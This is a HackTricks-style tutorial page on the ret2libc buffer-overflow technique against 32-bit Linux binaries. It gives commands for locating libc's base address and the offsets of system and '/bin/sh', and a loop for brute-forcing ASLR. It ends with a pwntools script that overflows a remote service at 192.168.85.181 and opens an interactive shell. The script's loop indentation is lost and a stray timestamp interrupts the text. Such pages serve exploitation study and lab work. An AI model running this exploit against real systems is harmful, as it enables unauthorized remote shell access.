hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md

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# Ret2Lib
**If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.**
## If you are **inside** the **host**
### You can find the **address of lib**c
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
If you want to check if the ASLR is changing the address of libc you can do:
```bash
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
```
### Get offset of system function
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
### Get offset of "/bin/sh"
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### /proc/&lt;PID&gt;/maps
If the process is creating **children** every time you talk with it \(network server\) try to **read** that file \(probably you will need to be root\).
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
![](../../.gitbook/assets/image%20%2899%29.png)
In this case it is loaded in **0xb75dc000** \(This will be the base address of libc\)
### Using gdb-peda
Get address of **system** function, of **exit** function and of the string **"/bin/sh"** using gdb-peda:
```text
p system
p exit
find "/bin/sh"
```
## Bypassing ASLR
You can try to bruteforce the abse address of libc.
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
## Code
2021-03-20 10:29:06 +00:00
```python
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
```